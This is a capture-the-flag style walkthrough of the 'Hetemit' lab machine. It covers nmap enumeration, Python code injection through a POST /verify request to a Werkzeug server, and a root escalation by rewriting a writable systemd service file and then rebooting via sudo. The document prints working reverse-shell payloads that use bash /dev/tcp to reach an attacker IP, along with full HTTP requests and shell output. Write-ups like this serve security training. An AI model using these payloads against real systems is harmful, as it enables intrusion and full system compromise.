Hetemit - OSPG
Summary of Result
Hetemit is a system where we’ll exploit the Code Injection vulnerability to acquire an initial access. We’ll then escalate our privilege by abusing a misconfigured service file and compromise root
access.
Enumeration
Nmap
We’ll begin with a nmap
scan.
$ nmap --open -sV -A -p- -vv -n -Pn -oA nmap/services 192.168.118.117
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.37 ((centos))
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
18000/tcp open biimenu? syn-ack ttl 63
50000/tcp open http syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.8)
→ There are a few open services. Within the scope of the writeup, we focus on the HTTP
service running on port 50000
.
HTTP/50000
Navigate to the web application, we notice that there are two directories listed.
/generate
/verify
Both directories have their own functions, we are particularly interested in the /verify
one.
Let’s us try to send a POST
request against the directory /verify
and the body request is filled with the code
parameter.
The payload might look as following:
POST /verify HTTP/1.1
Host: 192.168.101.117:50000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _register_hetemit_session=GK6KJri2ylafDgK%2F6lIyUBw9ZFUG2JwfR2XUy%2Be%2BBxow52YsWOyvti%2FQ4YVuCMMzuGNZB%2FMy4NXQxqDQ%2FeNGm5IQFQW7f94Ou4PByd3u2B7pqfMazR0jVFdSF5vBSV4vUo0J5ZT%2FhHql%2BaR5TKp%2BAnKBITheUGIE7AHyAEbvc%2B5KeSFsQ5mdZrJz46COTOZXBdmvfLlMIEisXpzZPwA3uTow5ziDY54D2MrJDVtpCFQ5YWqaEZeSb0js5JggvLZF7K26sxfSr17MsEphdt%2FopNZxNR4kckDId5%2FsUV9Yla%2Bc--0LA3avph4XEwY4vn--zaptbla4hpI7tLNc87OpLw%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
code=whoami
After the request was sent, we can further inspect response.
Here is the response.
HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 290
Server: Werkzeug/1.0.1 Python/3.6.8
Date: Fri, 20 Aug 2021 05:01:07 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
The response code 500 INTERNAL SERVER ERROR
indicates that something is wrong at the backend. At this point, we fully comprehend that the server does not sanitize our input properly, which ends up our entry breaking something up at the other end.
Exploitation
Code Injection
Previously, we identify the abnormal behaviour from the server. It’s worth noticing that the server running on port 50000 is Werkzeug
(we can observe this from the nmap
result). Primarily, Werkzeug
is a web server written in python
, if there is a potential code injection vulnerability, our payload should also be crafted in python
.
Let’s us build a reverse shell in one line.
__import__("os").system("bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.101/80+0>%261'")
The entire payload is as follow:
POST /verify HTTP/1.1
Host: 192.168.101.117:50000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _register_hetemit_session=GK6KJri2ylafDgK%2F6lIyUBw9ZFUG2JwfR2XUy%2Be%2BBxow52YsWOyvti%2FQ4YVuCMMzuGNZB%2FMy4NXQxqDQ%2FeNGm5IQFQW7f94Ou4PByd3u2B7pqfMazR0jVFdSF5vBSV4vUo0J5ZT%2FhHql%2BaR5TKp%2BAnKBITheUGIE7AHyAEbvc%2B5KeSFsQ5mdZrJz46COTOZXBdmvfLlMIEisXpzZPwA3uTow5ziDY54D2MrJDVtpCFQ5YWqaEZeSb0js5JggvLZF7K26sxfSr17MsEphdt%2FopNZxNR4kckDId5%2FsUV9Yla%2Bc--0LA3avph4XEwY4vn--zaptbla4hpI7tLNc87OpLw%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
code=__import__("os").system("bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.101/80+0>%261'")
After the request is sent, our nc
should catch the reverse shell at port 80 as cmeeks
after a few seconds.
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.101] from (UNKNOWN) [192.168.101.117] 43194
bash: cannot set terminal process group (1400): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ whoami
whoami
cmeeks
[cmeeks@hetemit restjson_hetemit]$ id
id
uid=1000(cmeeks) gid=1000(cmeeks) groups=1000(cmeeks)
Privilege Escalation
Misconfigured Service File
Enumerating the target system locally exposes a pythonapp.service
file.
[cmeeks@hetemit restjson_hetemit]$ find / -group cmeeks -ls 2>/dev/null | grep -v "home\|tmp\|proc"
5015736 4 -rw-rw-r-- 1 root cmeeks 302 Nov 13 2020 /etc/systemd/system/pythonapp.service
Essentially, the service file allows a service to run as the system boots. Since we have a write permission against the file, we can obviously inject a malicious command and wait until the system boots up and obtain the reverse shell as root
.
Now, we should adjust the pythonapp.service
. It depends on how we want the code to be executed.
The following payload will initilize a reverse connection to our machine.
[cmeeks@hetemit restjson_hetemit]$ nano /etc/systemd/system/pythonapp.service
...
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=bash -c 'bash -i >& /dev/tcp/192.168.49.101/18000 0>&1'
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
...
At this point, we need to wait until the system reboots, or there is another option …
SUDO Permission
User cmeeks
can execute sudo
command to reboot
, shutdown
or halt
the system with root
privilege.
[cmeeks@hetemit restjson_hetemit]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
The reboot
is exactly what we’re searching for!. Now, on the cmeeks
shell, execute.
[cmeeks@hetemit restjson_hetemit]$ sudo /sbin/reboot
At the same time, we should open up another terminal on local host with a nc
listener ready on port 18000.
After a few seconds, we got root
.
$ nc -nlvp 18000 130 ⨯
listening on [any] 18000 ...
connect to [192.168.49.101] from (UNKNOWN) [192.168.101.117] 42660
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]# whoami
whoami
root
[root@hetemit restjson_hetemit]# id
id
uid=0(root) gid=0(root) groups=0(root)